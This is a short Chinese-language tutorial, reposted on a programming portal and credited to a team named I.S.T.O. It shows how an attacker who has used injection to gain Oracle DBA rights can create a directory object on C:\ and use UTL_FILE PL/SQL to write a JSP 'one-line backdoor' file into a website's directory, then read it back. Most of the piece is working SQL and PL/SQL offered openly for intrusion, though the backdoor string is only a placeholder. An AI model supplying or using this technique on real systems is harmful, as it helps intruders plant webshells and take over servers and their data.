程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> ORACLE 本地讀寫文件---ORA WRITE WEBSHELL

ORACLE 本地讀寫文件---ORA WRITE WEBSHELL

編輯:Oracle數據庫基礎
team: I.S.T.O

一般我們通過函數注射以後 獲得ORA的DBA權限   那麼我們就得對本地文件進行操作!要是WEB跟ORA是同一個機器~那就更方便於我們拿更多的權限了~或者對本地寫webshell

下面是采用ORA 自帶的文件訪問包 操作本地文件! 前提是你必須要知道WEBSITE的物理地址

以下是一個簡單例子

--首先我們得先建立一個  Oracle的目錄對象 指向 C:\

create or replace directory IST0_DIR as 'C:\';

--然後我們對這個目錄對象進行授權 其實這步可以忽略

grant read, write on directory IST0_DIR to 用戶;

--以上前奏完成了! 我們可以寫PLSQL 進行操作文件了

declare
   isto_file utl_file.file_type; --定義變量的類型為utl_file.file_type
begin
   isto_file := utl_file.fopen('IST0_DIR', 'kj021320.JSp', 'W'); --指定為IST0_DIR 目錄下面的kj021320.JSP文件寫操作
   utl_file.put_line(isto_file, '一句話後門'); --寫入字符串
   utl_file.fflush(isto_file); --刷緩沖
   utl_file.fclose(isto_file); --關閉文件指針
end;

--下面我們可以使用讀操作把寫入的文件內容讀出來

declare
   isto_file utl_file.file_type; --如上
   fp_buffer varchar2(4000); --沒必要說了吧?
begin
   isto_file := utl_file.fopen('IST0_DIR', 'kj021320.JSP', 'R'); -- 指定為讀操作
   utl_file.get_line (isto_file , fp_buffer ); --讀取一行放到  fp_buffer 變量裡面
   dbms_output.put_line(fp_buffer);--在終端輸出結果看看
   utl_file.fclose(isto_file); --關閉文件指針
end;



  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved